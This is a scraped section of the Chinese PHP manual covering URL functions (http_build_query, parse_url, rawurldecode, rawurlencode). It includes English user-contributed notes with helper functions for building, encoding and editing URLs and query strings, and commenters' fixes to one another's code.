Dear anonymous, i think that your example is incorrect in some places (or at least is not flexible) and shortly only in names of variables (as $c, $k, etc.) and some spaces and line foldings  :), i can explain:
1. I think that next part of code is not wanted here:
<?if (!is_array($a)) return false;?>
because you have (array)$a in foreach! It is possible but not obligatory. Or maybe better to use trigger_error for this situation.
2. You don't use urlencode on key! It's wrong because it can have also unsafe value!
<?if ($c) $k=$b."[".$k."]"; elseif (is_int($k)) $k=$b.$k;?>
this part is wrong because $k can be integer even if $c is not empty. I can want to add numeric_prefix to all indexes in array, but your example will not allow to make it. Here using of elseif is excluded, these both conditions should exist simultaneously.
3. <?http_build_query($v,$k,1);?> - In my opinion it's a very rough error. You use second parameter (as "numeric_prefix" in my example and php manual for this function) for transfer of the current key into next iteration step of recursion. Certainly it's possible and is not of principle, but very not professionally, in my opinion. I use implicit rule: one ought not to violate function logic even inside of the same function one may only expand logic. And my <?http_build_query($v, null, $tmp_key);?> allows to add numeric_prefix to all indexes in array (see point 2), i need just to put $numeric_prefix instead of null into second parameter.

Also i want to extend my previous example because we must use ini_get('arg_separator.output') instead of '&' separator!

<?
if(!function_exists('http_build_query')) {
   function http_build_query( $formdata, $numeric_prefix = null, $key = null ) {
       $res = array();
       foreach ((array)$formdata as $k=>$v) {
           $tmp_key = urlencode(is_int($k) ? $numeric_prefix.$k : $k);
           if ($key) $tmp_key = $key.'['.$tmp_key.']';
           if ( is_array($v) || is_object($v) ) {
               $res[] = http_build_query($v, null /* or $numeric_prefix if you want to add numeric_prefix to all indexes in array*/, $tmp_key);
           } else {
               $res[] = $tmp_key."=".urlencode($v);
           }
           /*
           If you want, you can write this as one string:
           $res[] = ( ( is_array($v) || is_object($v) ) ? http_build_query($v, null, $tmp_key) : $tmp_key."=".urlencode($v) );
           */
       }
       $separator = ini_get('arg_separator.output');
       return implode($separator, $res);
   }
}
?>

All best!
04-Oct-2005 04:33
I made my very own http_build_query function quite some time ago for php 4 and below. Works exactly like the function below; but its just a bit shorter. :P

<?
function http_build_query($a,$b='',$c=0){
if (!is_array($a)) return false;
foreach ((array)$a as $k=>$v){
if ($c) $k=$b."[".$k."]"; elseif (is_int($k)) $k=$b.$k;
if (is_array($v)||is_object($v)) {$r[]=http_build_query($v,$k,1);continue;}
$r[]=$k."=".urlencode($v);
}
return implode("&",$r);
}
?>
vlad_mustafin at ukr dot net
29-Sep-2005 07:31
My example of this function for PHP versions < PHP5 without any regular expressions, just cycles, recursion and standard functions. It can work with complex arrays or objects or both combined.
<?php
if(!function_exists('http_build_query')) {
   function http_build_query( $formdata, $numeric_prefix = null, $key = null ) {
       $res = array();
       foreach ((array)$formdata as $k=>$v) {
           $tmp_key = urlencode(is_int($k) ? $numeric_prefix.$k : $k);
           if ($key) {
               $tmp_key = $key.'['.$tmp_key.']';
           }
           if ( is_array($v) || is_object($v) ) {
               $res[] = http_build_query($v, null, $tmp_key);
           } else {
               $res[] = $tmp_key."=".urlencode($v);
           }
       }
       return implode("&", $res);
   }
}
?>
mauricio at elmaster dot com
27-Sep-2005 10:31
Regarding the last comment, you should use:

if(!function_exists('http_build_query'))

instead of:

if(!defined('http_build_query'))
mwwaygoo AT hotmail DOT com
08-Aug-2005 04:25
The example given below works great but not for complex arrays. So I wrote one that did :)

The 3rd and 4th parameters are used to contruct the query from the complex array, so dont use them yourself, just stick to the defined variables as defined above.

<?php
if(!defined('http_build_query'))
{
   function http_build_query($array, $flags='', $flags_unchecked=TRUE, $index="")
   {
       if($flags_unchecked)
       {
           if(is_string($flags))
           {
               $flags = ereg_replace("[^a-z0-9_]", "", $flags);
           }
           else
           {
               $flags = '';
           }
       }

       $string = "";
       if(is_array($array))
       {
           foreach($array as $name => $value)
           {
               if(is_array($value))
               {
                   if($index=="")
                   {
                       $string.=http_build_query($value, $flags, FALSE, $name);
                   }
                   else
                   {
                       $string.=http_build_query($value, $flags, FALSE, $index."[".$name."]");
                   }
               }
               else
               {
                   if($index=="")
                   {
                       if(is_int($name))
                       {
                           $name=$flags.$name;
                       }
                       $string .= $name . "=" . urlencode($value) . "&";
                   }
                   else
                   {
                       $string .= $index . "[" . $name . "]=" . urlencode($value) . "&";
                   }
               }
           }
           if($index=="")
           {
               $string=ereg_replace("&$","",$string);
           }
       }
       return $string;
   }
}
?>
php dot net at hiddemann dot org
12-May-2005 09:22
This is a workaround for PHP versions < PHP5. It does not work with complex arrays, however.

<?

if (!function_exists('http_build_query')) {
   function http_build_query($formdata, $numeric_prefix = "")
   {
       $arr = array();
       foreach ($formdata as $key => $val)
         $arr[] = urlencode($numeric_prefix.$key)."=".urlencode($val);
       return implode($arr, "&");
   }
}

?>
aidan at php dot net
28-May-2004 11:25
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
get_meta_tags | 上一级 | parse_url


parse_url

(PHP 3, PHP 4, PHP 5)

parse_url -- 解析 URL，返回其组成部分

描述

array parse_url ( string url )

此函数返回一个关联数组，包含现有 URL 的各种组成部分。如果缺少了其中的某一个，则不会为这个组成部分创建数组项。组成部分为：

  • scheme - 如 http

  • host

  • port

  • user

  • pass

  • path

  • query - 在问号 ? 之后

  • fragment - 在散列符号 # 之后

此函数并 不 意味着给定的 URL 是合法的，它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL，并尽量将其解析正确。

注: 此函数对相对路径的 URL 不起作用。

例子 1. parse_url() 示例

$ php -r 'print_r(parse_url("http://username:password@hostname/path?arg=value#anchor"));'
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

$ php -r 'print_r(parse_url("http://invalid_host..name/"));'
Array
(
    [scheme] => http
    [host] => invalid_host..name
    [path] => /
)

参见 pathinfo()、parse_str()、dirname() 与 basename()。

add a note add a note User Contributed Notes
Vladimir Kornea
13-May-2006 03:21
See Also http_build_query()

(editors: please add this function to "See Also" section of the official documentation.)
php dot net at NOSPAM dot juamei dot com
09-May-2006 07:18
Modfied version of glue_url to avoid error messages if the error_reporting is set high.

function glue_url($parsed)
{
   if (! is_array($parsed)) return false;
       $uri = isset($parsed['scheme']) ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '':'//'): '';
       $uri .= isset($parsed['user']) ? $parsed['user'].($parsed['pass']? ':'.$parsed['pass']:'').'@':'';
       $uri .= isset($parsed['host']) ? $parsed['host'] : '';
       $uri .= isset($parsed['port']) ? ':'.$parsed['port'] : '';
       $uri .= isset($parsed['path']) ? $parsed['path'] : '';
       $uri .= isset($parsed['query']) ? '?'.$parsed['query'] : '';
       $uri .= isset($parsed['fragment']) ? '#'.$parsed['fragment'] : '';
   return $uri;
}
peyn at tlen dot pl
10-Mar-2006 03:26
a little bugfix to greg dot linton at gmail dot com function:

you have to change:
<?php
else
{
   $ending = $var[ 0 ] . '=' . urlencode( $var[ 1 ] );
}
?>

with

<?php
else
{
   if( $action == '+' )
   {
       $ending = $var[ 0 ] . '=' . urlencode( $var[ 1 ] );
   }
}
?>

otherwise when using function like this
<?php
$url = ChangeQuery( '-', 'test' );
echo $url;
?>

you will see: index.php?t=e

best regards
Tyron Madlener
15-Feb-2006 06:24
Oh, missed something. It should be HEAD instead of GET, because it only needs to read the header of the http response.
Tyron Madlener
15-Feb-2006 05:15
I needed to get information about the real URL, because some URL are just redirects to the real one. This function here tracks down the real URL as long as it gets redirects (errorcode 301,302, 303, 305 or 307) as response.
In this example i resolve my homepage www.tyron.at which redirects to a subdirectory.

$real_url = ResolveURL("http://www.tyron.at");

echo "<pre>";
print_r(parse_url($real_url));

function ResolveURL($url) {
  $info = parse_url($url);

  //echo "url: '$url'<br><pre>";
  //print_r($info);
  $fp = fsockopen($info['host'],80);

  if($fp) {
   $path = $info['path'];
   if(!strlen($path)) $path = "/";
   if(strlen($info['query'])) $path.="?".$info['query'];

   $out  = "GET $path HTTP/1.1\r\n";
   $out .= "Host: ".$info['host']."\r\n";
   $out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511  Firefox/1.0.4\r\n";
   $out .= "Connection: Close\r\n\r\n";
   fwrite($fp, $out);

   if(ereg("HTTP/1.1 30(1|2|3|5|7)",$resp = fgets($fp,512))) {
     while (!feof($fp)) {
       if(preg_match("/Location: (.*)$/",$line=fgets($fp, 1024),$matches))
         $url = ResolveURL(chop($matches[1]));
     }
   }
   //echo $resp;
   fclose($fp);
  }
  return $url;
}
12-Jan-2006 07:42
small bugfix to greg dot linton at gmail dot com's very handy changeQuery - blank URIs weren't being processed correctly.

<?php
// line dealing with blank URI's:
$ending = $varName . '=' . urlencode($varVal);

// works if changed to:
$ending = $var[0] . '=' . urlencode($var[1]);

?>
greg dot linton at gmail dot com
31-Dec-2005 05:14
I needed to work both ways (adding & deleteing) query items to the url. Corey's function worked well for adding, but I needed the opposite. I modifed his to work for both ways leaving me with this:
<?php

/**
 * Edit the Query portion of an url
 *
 * @param    string    $action    ethier a "+" or a "-" depending on what action you want to perform
 * @param    mixed    $var    array (+) or string (-)
 * @param    string    $uri    the URL to use. if this is left out, it uses $_SERVER['PHP_SELF']
 * @version      1.0.0
 */
function ChangeQuery($action, $var = NULL, $uri = NULL) {

       if (($action == "+" && ! is_array($var))
             ||
           ($action == "-" && $var == "")
             ||
           $var == NULL)
               return FALSE;

   if (is_null($uri)) {//Piece together uri string
       $beginning = $_SERVER['PHP_SELF'];
       $ending = ( isset($_SERVER['QUERY_STRING']) ) ? $_SERVER['QUERY_STRING'] : '';
   } else {
       $qstart = strpos($uri, '?');
       if ($qstart === false) {
           $beginning = $uri; //$ending is '' anyway
       } else {
           $beginning = substr($uri, 0, $qstart);
           $ending = substr($uri, $qstart);
       }
   }

   if (strlen($ending) > 0) {
       $vals = array();
       $ending = str_replace('?','', $ending);
       parse_str($ending, $vals);
               if ($action == "+")
                       $vals[$var[0]] = $var[1];
       $ending = '';
       $count = 0;
       foreach($vals as $k => $v) {
           if ($action == "-" && $k == $var) continue;
           if ($count > 0) { $ending .= '&'; }
           else { $count++; }
           $ending .= "$k=" . urlencode($v);
       }
   } else {
           $ending = $varName . '=' . urlencode($varVal);
   }

   $result = $beginning . '?' . $ending;

   return $result;
}
?>

with this test:
<?php
$url = "http://www.somesite.com/somepage.php?id=53&sec=1&sort=up";

$url = ChangeQuery("+",array("test",5),$url);
echo $url."<br>";
$url = ChangeQuery("-","sort", $url);
echo $url."<br>";
$url = ChangeQuery("-","test", $url);
echo $url."<br>";
$url = ChangeQuery("+",array("sort","dn"), $url);
echo $url."<br>";

?>

I got
http://www.somesite.com/somepage.php?id=53&sec=1&sort=up&test=5
http://www.somesite.com/somepage.php?id=53&sec=1&test=5
http://www.somesite.com/somepage.php?id=53&sec=1
http://www.somesite.com/somepage.php?id=53&sec=1&sort=dn

?>
If you're adding to the url, the second argument has to be an array, where the first element is the name and the second is the value. If you're deleting from the query, it's the name of var to delete

I hope this helps somebody down the line.
jon _at_ gaarsmand _dot_ com
02-Aug-2005 03:51
Some developers look here for a mean of validating an url. So here is a simple way of validating an url.

$uri = 'http://some-domain-name.org';
if( preg_match( '/^(http|https):\/\/[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}'
       .'((:[0-9]{1,5})?\/.*)?$/i' ,$uri))
{
  echo $uri . ' is a valid url';
}
else
{
  echo $uri . ' is NOT a valid url';
}

Beware - it only validates scemes: http and https, and it only takes into account host and port part of the uri. It does not accept username and password.

For an email validator you could look at http://gaarsmand.com/index.php/IT_l%F8sninger/Kode_eksempler/PHP_kode.
scott a t connerly d o t net
07-Mar-2005 03:34
re: <b>osfist at yahoo dot com</b>'s http_implode function.
Here is a companion function for that:

  function http_explode($stringInput) {
   if (! is_string($stringInput))
     return false;
   $arr_query=NULL;
   $args=explode('&',$stringInput);
   foreach($args as $arg) {
     $parts=explode('=',$arg);
     $arr_query[$parts[0]]=$parts[1];
   } return $arr_query;
  }
TheShadow
31-Dec-2004 04:36
You may want to check out the PEAR NET_URL class. It provides easy means to manipulate URL strings.

http://pear.php.net/package/Net_URL
corey at eyewantmedia dot com
23-Dec-2004 01:18
Just in case this helps someone, this is a quick and dirty way to add or replace values to your query string, which I found especially useful when modifying urls to allow paging through resultsets.

/**
 * @return string
 * @param string $varName
 * @param string $varVal
 * @param string $uri
 * @desc Returns the a string that is either
 *        $uri if you pass it or the current
 *        uri with the variable name $varName
 *        equal to the value urlencode($varVal)
 *        It replaces a current value if it find
 *        it or adds the variable and value pair
 *        if they are new.
*/
function AddToQuery($varName, $varVal, $uri=null) {
   $result = '';
   $beginning = '';
   $ending = '';

   if (is_null($uri)) {//Piece together uri string
       $beginning = $_SERVER['PHP_SELF'];
       $ending = ( isset($_SERVER['QUERY_STRING']) ) ? $_SERVER['QUERY_STRING'] : '';
   } else {
       $qstart = strpos($uri, '?');
       if ($qstart === false) {
           $beginning = $uri; //$ending is '' anyway
       } else {
           $beginning = substr($uri, 0, $qstart);
           $ending = substr($uri, $qstart);
       }
   }

   if (strlen($ending) > 0) {
       $vals = array();
       $ending = str_replace('?','', $ending);
       parse_str($ending, $vals);
       $vals[$varName] = $varVal;
       $ending = '';
       $count = 0;
       foreach($vals as $k => $v) {
           if ($count > 0) { $ending .= '&'; }
           else { $count++; }
           $ending .= "$k=" . urlencode($v);
       }
   } else {
       $ending = $varName . '=' . urlencode($varVal);
   }

   $result = $beginning . '?' . $ending;

   return $result;
}
duellj at gmail dot com
13-Oct-2004 06:13
A quick note about something that tripped me up:

the url you are parsing must include the scheme, or it will be parsed into the 'path' key.
Example:
<?
$parsed = parse_url("www.php.net");
print_r($parsed);

/*
outputs:
Array
(
   [path] => www.php.net
)
*/
?>
esm at baseclass dot modulweb dot dk
17-Aug-2004 09:32
Hi

I did an URL Validator that also parses the URL into subparts. The validator does not use PHP specific functions, so it can be easily ported to javascript or another language. If you are looking at this page, chances are my validator might interest you.

http://baseclass.modulweb.dk/urlvalidator

Regards
Aceb
matt at cryptography dot com
10-May-2004 04:36
Modified version of glue_url()
Cox's,Anonimous fucntion

<?php
function glue_url($parsed) {
   if (! is_array($parsed)) return false;
       $uri = $parsed['scheme'] ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '':'//'): '';
       $uri .= $parsed['user'] ? $parsed['user'].($parsed['pass']? ':'.$parsed['pass']:'').'@':'';
       $uri .= $parsed['host'] ? $parsed['host'] : '';
       $uri .= $parsed['port'] ? ':'.$parsed['port'] : '';
       $uri .= $parsed['path'] ? $parsed['path'] : '';
       $uri .= $parsed['query'] ? '?'.$parsed['query'] : '';
       $uri .= $parsed['fragment'] ? '#'.$parsed['fragment'] : '';
  return $uri;
}
?>
osfist at yahoo dot com
01-Mar-2004 03:11
Functions to edit a url query key and its value.
You can also add a new query key and its value.

I gathered and modified useful functions for my code.
It works fine as you see at the test result.

<?php
function get_query_edited_url($url, $arg, $val) {
   $parsed_url = parse_url($url);
   parse_str($parsed_url['query'],$url_query);
   $url_query[$arg] = $val;

   $parsed_url['query'] = http_implode($url_query);
   $url = glue_url($parsed_url);
   return $url;
}

function http_implode($arrayInput) {
   if (! is_array($arrayInput))
       return false;

   $url_query="";
   foreach ($arrayInput as $key=>$value) {

       $url_query .=(strlen($url_query)>1)?'&':"";
       $url_query .= urlencode($key).'='.urlencode($value);
   }
   return $url_query;
}

function glue_url($parsed) {
   if (! is_array($parsed))
       return false;

   $url = $parsed['scheme'] ? $parsed['scheme'].':'
       .((strtolower($parsed['scheme']) == 'mailto') ? '':'//'): '';
   $url .= $parsed['user'] ? $parsed['user']
       .($parsed['pass']? ':'.$parsed['pass']:'').'@':'';
   $url .= $parsed['host'] ? $parsed['host'] : '';
   $url .= $parsed['port'] ? ':'.$parsed['port'] : '';
   $url .= $parsed['path'] ? $parsed['path'] : '';
   $url .= $parsed['query'] ? '?'.$parsed['query'] : '';
   $url .= $parsed['fragment'] ? '#'.$parsed['fragment'] : '';
   return $url;
}

/* Test & Output

$url =
"http://user:pass@host/path?arg1=value&arg2=myval2#anchor";
print  "<br>0:".$url;
print  "<br>1:".get_query_edited_url($url,'arg1','CHANGED'); //Arg1
print  "<br>2:".get_query_edited_url($url,'arg2','CHANGED'); //Arg2
print  "<br>3:".get_query_edited_url($url,'arg3','NEW'); //New Argument
*/

// Output
//http://user:pass@host/path?arg=value&arg2=myval2#anchor
//http://user:pass@host/path?arg=value&arg2=CHANGED#anchor
//http://user:pass@host/path?arg=CHANGED&arg2=myval2#anchor
?>
alan at zeroasterisk dot com
23-Dec-2003 05:06
<?
/*
Alan -- here is a useful function for displaying links...  if you don't do this, an improper query string could mess up html code...  (by having a > or " or something...)

If you have simple improvements or flaws, please email me. [at]zeroasterisk[d0t]com
*/

function linkprep($link)
   {
       $link_array=parse_url($link);
     $return= str_replace($link_array['query'], rawurlencode($link_array['query']), $link);
     $return= str_replace($link_array['fragment'], rawurlencode($link_array['fragment']), $return);
     return $return;
   }

?>
sjt at 5jt dot com
22-Oct-2003 10:45
It gets better...

parse_str($_SERVER['QUERY_STRING']);

though you might flinch at random names from the URI query string showing up as variables. Safer to secure them in a hash table, eg

   parse_str($_SERVER['QUERY_STRING'],$vars);
   $lang = $vars['lang'];
   echo "Your language is $lang";

sjt
bermi.ferrer ) a t ( akelos dot com
02-Feb-2003 07:23
This is a small update for Steve's function. It removes the Argument even if its repeated more than once in the URL.

This function performance is better than the one I posted before (delete_value_from_url).

 function RemoveArgFromURL($URL,$Arg)
 {

   while($Pos = strpos($URL,"$Arg="))
   {

     if ($Pos)
     {
       if ($URL[$Pos-1] == "&")
       {
         $Pos--;
       }
       $nMax = strlen($URL);
       $nEndPos = strpos($URL,"&",$Pos+1);

       if ($nEndPos === false)
       {
       $URL = substr($URL,0,$Pos);
       }
       else
       {
         $URL = str_replace(substr($URL,$Pos,$nEndPos-$Pos),'',$URL);
       }
     }
   }
   return $URL;
 }
steve at mg-rover dot org
25-Jan-2003 01:59
An alternative and more straightforward to the remove an argument from a URL code above is below. I'm not saying its any better than the one above, but its easier to read ;) :p

----------------
  function RemoveArgFromURL($URL,$Arg)
  {
   $Pos = strpos($URL,"$Arg=");

   if ($Pos)
   {
     if ($URL[$Pos-1] == "&")
     {
       // If Pos-1 is pointing to a '&' knock Pos back 1 so its removed.
       $Pos--;
     }
     $nMax = strlen($URL);
     $nEndPos = strpos($URL,"&",$Pos+1);

     if ($nEndPos === false)
     {
       // $Arg is on the end of the URL
       $URL = substr($URL,0,$Pos);
     }
     else
     {
       // $Arg is in the URL
       $URL = str_replace(substr($URL,$Pos,$nEndPos-$Pos),'',$URL);
     }
   }
   return $URL;
  }
----------------
Anonimous
09-May-2002 08:51
Modified version of glue_url() Cox's fucntion.
----------------------------------------------

// $parsed is a parse_url() resulting array
function glue_url($parsed) {

   if (! is_array($parsed)) return false;

   if (isset($parsed['scheme'])) {
     $sep = (strtolower($parsed['scheme']) == 'mailto' ? ':' : '://');
     $uri = $parsed['scheme'] . $sep;
   } else {
     $uri = '';
   }

   if (isset($parsed['pass'])) {
     $uri .= "$parsed[user]:$parsed[pass]@";
   } elseif (isset($parsed['user'])) {
     $uri .= "$parsed[user]@";
   }

   if (isset($parsed['host']))    $uri .= $parsed['host'];
   if (isset($parsed['port']))    $uri .= ":$parsed[port]";
   if (isset($parsed['path']))    $uri .= $parsed['path'];
   if (isset($parsed['query']))    $uri .= "?$parsed[query]";
   if (isset($parsed['fragment'])) $uri .= "#$parsed[fragment]";

   return $uri;
}
add a note add a note

后退 | 起点 | 前进
http_build_query | 上一级 | rawurldecode


rawurldecode

(PHP 3, PHP 4, PHP 5)

rawurldecode -- 对已编码的 URL 字符串进行解码

描述

string rawurldecode ( string str )

返回字符串，此字符串中百分号（%）后跟两位十六进制数的序列都将被替换成原义字符。

例子 1. rawurldecode() 示例

<?php

echo rawurldecode('foo%20bar%40baz'); // foo bar@baz

?>

注: rawurldecode() 不会把加号（'+'）解码为空格，而 urldecode() 可以。

参见 rawurlencode()、urldecode() 与 urlencode()。

add a note add a note User Contributed Notes
nelson at phprocks dot com
03-Apr-2006 05:18
This function also decodes utf8 strings so it behaves more like the javascript unscape() function.

<?php

function utf8RawUrlDecode ($source) {
   $decodedStr = "";
   $pos = 0;
   $len = strlen ($source);
   while ($pos < $len) {
       $charAt = substr ($source, $pos, 1);
       if ($charAt == '%') {
           $pos++;
           $charAt = substr ($source, $pos, 1);
           if ($charAt == 'u') {
               // we got a unicode character
               $pos++;
               $unicodeHexVal = substr ($source, $pos, 4);
               $unicode = hexdec ($unicodeHexVal);
               $entity = "&#". $unicode . ';';
               $decodedStr .= utf8_encode ($entity);
               $pos += 4;
           }
           else {
               // we have an escaped ascii character
               $hexVal = substr ($source, $pos, 2);
               $decodedStr .= chr (hexdec ($hexVal));
               $pos += 2;
           }
       } else {
           $decodedStr .= $charAt;
           $pos++;
       }
   }
   return $decodedStr;
}

?>
php dot net at hiddemann dot org
24-May-2005 05:08
To sum it up: the only difference of this function to the urldecode function is that the "+" character won't get translated.
add a note add a note

后退 | 起点 | 前进
parse_url | 上一级 | rawurlencode


rawurlencode

(PHP 3, PHP 4, PHP 5)

rawurlencode -- 按照 RFC 1738 对 URL 进行编码

描述

string rawurlencode ( string str )

返回字符串，此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数。这是在 RFC 1738 中描述的编码，是为了保护原义字符以免其被解释为特殊的 URL 定界符，同时保护 URL 格式以免其被传输媒体（像一些邮件系统）使用字符转换时弄乱。例如，如果你想在 FTP 的 URL 中包含密码：

例子 1. rawurlencode() 示例 1

<?php
echo '<a href="ftp://user:', rawurlencode('foo @+%/'),
     '@ftp.example.com/x.txt">';
?>

或者，如果你想通过 URL 的 PATH_INFO 构成部分去传递信息：

例子 2. rawurlencode() 示例 2

<?php
echo '<a href="http://example.com/department_list_script/',
    rawurlencode('sales and marketing/Miami'), '">';
?>

参见 rawurldecode()、urldecode()、urlencode() 与 RFC 1738。

add a note add a note User Contributed Notes
piotr DOT wydrych AT gmail DOT com
30-Mar-2006 06:40
You can encode paths using:

<?php
$encoded = implode("/", array_map("rawurlencode", explode("/", $path)));
?>
jeroen at virtualhost dot nl
28-Feb-2006 07:55
On the comments of rickyale and djmaze...
Is what you try to achieve is not a combination of utf8 and url encoding, e.g. :

<?
$str = "blf Charlne";
$enc = urlencode(utf8_encode($str));
$str2 = utf8_decode(urldecode($enc));
echo "$str -> $enc -> $str2";
?>

will output:
blf Charlne -> bl%C3%B8f+Charl%C3%A8ne -> blf Charlne

At least works for me, Jeroen Hofstee
djmaze@dragonflycms
02-Feb-2006 07:36
Easier version to 'rickyale at ig dot com dot br' his example

<?php
function encode($text)
{
   $REQUEST_URI = str_replace('"', '%22', $text);
   // 0 - 128
   return preg_replace('#([\x3C\x3E])#e', '"%".bin2hex(\'\\1\')', $text);
}
?>
Just fill the regular expression with all characters that you need to have encoded.

NOTE: 142 and up in his array are language specific ASCII characters so the conversion to their unicode ('%C5%BD') equivelant may or may not work for you.
This needs a far more serious and bigger system to handle for non us tables
rickyale at ig dot com dot br
03-Dec-2005 12:15
As peter@nospam said, the microsoft uses an different table for encode string when sending data...

with some test i have created a table with this encodes for special char like

here is it for those who need know what is this table..

the index of array is the ord() of a character..
use with chr(index) to know the char.. and replace with the value.....

var    $ENCODE_TABLE = ARRAY(33=>'%21', 35=>'%23', 36=>'%24', 37=>'%25', 38=>'%26', 40=>'%28', 41=>'%29', 43=>'%2B', 44=>'%2C', 47=>'%2F', 58=>'%3A', 59=>'%3B', 60=>'%3C', 61=>'%3D', 62=>'%3E', 63=>'%3F', 91=>'%5B', 92=>'%5C', 93=>'%5D', 123=>'%7B', 124=>'%7C', 125=>'%7D', 142=>'%C5%BD', 192=>'%C3%80', 193=>'%C3%81', 194=>'%C3%82', 195=>'%C3%83', 196=>'%C3%84', 197=>'%C3%85', 199=>'%C3%87', 200=>'%C3%88', 201=>'%C3%89', 202=>'%C3%8A', 203=>'%C3%8B', 204=>'%C3%8C', 205=>'%C3%8D', 206=>'%C3%8E', 207=>'%C3%8F', 210=>'%C3%92', 211=>'%C3%93', 212=>'%C3%94', 213=>'%C3%95', 214=>'%C3%96', 217=>'%C3%99', 218=>'%C3%9A', 219=>'%C3%9B', 220=>'%C3%9C', 221=>'%C3%9D', 224=>'%C3%A0', 225=>'%C3%A1', 226=>'%C3%A2', 227=>'%C3%A3', 228=>'%C3%A4', 229=>'%C3%A5', 231=>'%C3%A7', 232=>'%C3%A8', 233=>'%C3%A9', 234=>'%C3%AA', 235=>'%C3%AB', 236=>'%C3%AC', 237=>'%C3%AD', 238=>'%C3%AE', 239=>'%C3%AF', 242=>'%C3%B2', 243=>'%C3%B3', 244=>'%C3%B4', 245=>'%C3%B5', 246=>'%C3%B6', 249=>'%C3%B9', 250=>'%C3%BA', 251=>'%C3%BB', 252=>'%C3%BC', 253=>'%C3%BD', 255=>'%C3%BF');

example::

function encode($text) {
   while(list($ord, $enc) = each($ENCODE_TABLE)) {
   $text = str_replace(chr($ord), $enc, $text);
   }
return $text;
}

hope this help ...
ulterior AT one.lt
31-Aug-2005 08:48
In addition to my last post I would like to add that, this function is for the "directories/somefile.ext" paths

In order to construct valid ftp url (with password added in it )
do this

$valid_path = "ftp://" . rawurlencode($user) . ":" . rawurlencode($pass) . ftp_url_encode($your_server_path_to_file)

Last function will encode path url so that language characters remain untouched and you get same file name for download after download dialog appears.
ulterior AT one.lt
30-Aug-2005 03:20
This seems the correct way to encode ftp url which you could provide for your users:

function ftp_url_encode($string) {

   $hex="";
   $retstr = "";
   for ($i=0; $i < strlen($string) ;$i++) {

     $char = $string[$i];
     if(($char >= '0' && $char <= '9') || ($char >= 'A' && $char <= 'Z') || ($char >= 'a' && $char <= 'z') || $char == '.' || $char == '-' || $char == '/' || (ord($char) >=128) ) $retstr .= $char;
     else
     $retstr .= "%".strtoupper(dechex(ord($string[$i])));

   }
   return $retstr;
}

Browsers mangle certain language characters
peter at nospam dot webgains dot com
31-May-2005 04:38
The microsoft URLEncode method ignores the documentation in RFC1738 which states that:

".... the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL"

So for example, myaddress@mydomain.com becomes myaddress%40mydomain%2Ecom, whereas php and other languages would encode this as myaddress%40mydomain.com

This can be an issue when porting from asp or if you are doing string comparison of strings urlencoded on different platforms.

NB. php will correctly decode myaddress%40mydomain%2Ecom to myaddress@mydomain.com, it is only the encoding that differs
Lucas Gonze -- lucas at gonze dot com
07-Jan-2005 02:01
I have attempted to incorporate all of the previous comments, plus several bug fixes, into  dphantom's linkencode.  I see no bugs for these test cases:
http://example.com/path1;var1=val1/p2;v2
http://example.com/p1;v1/p2;v2
http://[ip:v6:440]:8080
http://example.com:8080
http://example.com/~joe
http://example.com/foobar/~joe
http://username:password@hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
http://invalid_host..name/

function linkencode($p_url){
   $uparts = @parse_url($p_url);

   $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
   $pass = array_key_exists('pass',$uparts) ? $uparts['pass']  : "";
   $user = array_key_exists('user',$uparts) ? $uparts['user']  : "";
   $port = array_key_exists('port',$uparts) ? $uparts['port']  : "";
   $host = array_key_exists('host',$uparts) ? $uparts['host']  : "";
   $path = array_key_exists('path',$uparts) ? $uparts['path']  : "";
   $query = array_key_exists('query',$uparts) ? $uparts['query']  : "";
   $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment']  : "";

   if(!empty($scheme))
     $scheme .= '://';

   if(!empty($pass) && !empty($user)) {
     $user = rawurlencode($user).':';
     $pass = rawurlencode($pass).'@';
   } elseif(!empty($user))
     $user .= '@';

   if(!empty($port) && !empty($host))
       $host = ''.$host.':';
   elseif(!empty($host))
       $host=$host;

   if(!empty($path)){
     $arr = preg_split("/([\/;=])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $path = "";
     foreach($arr as $var){
       switch($var){
       case "/":
       case ";":
       case "=":
         $path .= $var;
         break;
       default:
         $path .= rawurlencode($var);
       }
     }
     // legacy patch for servers that need a literal /~username
     $path = str_replace("/%7E","/~",$path);
   }

   if(!empty($query)){
     $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $query = "?";
     foreach($arr as $var){
       if( "&" == $var || "=" == $var )
         $query .= $var;
       else
         $query .= urlencode($var);
     }
   }

   if(!empty($fragment))
     $fragment = '#'.urlencode($fragment);

   return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
}
Andrew Eigus
24-Jan-2003 07:31
note that if you implement your own server request engine in the HTTP manner like:

GET $request_uri

you should first split all parts of the $request_uri path and rawurlencode() each part, then concatenate those parts back again.  this function will translate the URI correctly:

function translate_uri($uri) {
   $parts = explode('/', $uri);
   for ($i = 0; $i < count($parts); $i++) {
     $parts[$i] = rawurlencode($parts[$i]);
   }
   return implode('/', $parts);
}

because if you do rawurlencode() over the whole URI, path separator characters '/' are also encoded and request will not happen to be correct.  '/' characters should not be encoded, only those parts in between.

hope this helps someone like me...
15-Nov-2002 11:30
Note that RFC 1738 has been amended:
The "[" and "]" are no longer considered unsafe, but instead are now considered "reserved", meaning that they CAN be used in URLs!

Currently this usage has only been allowed in the hostname part, but there are some proposals to allow such use in some URL schemes. Similar extensions are now found that use the "{}" characters as "reserved" characters with special semantics, instead of "unsafe" characters that must be URL encoded...

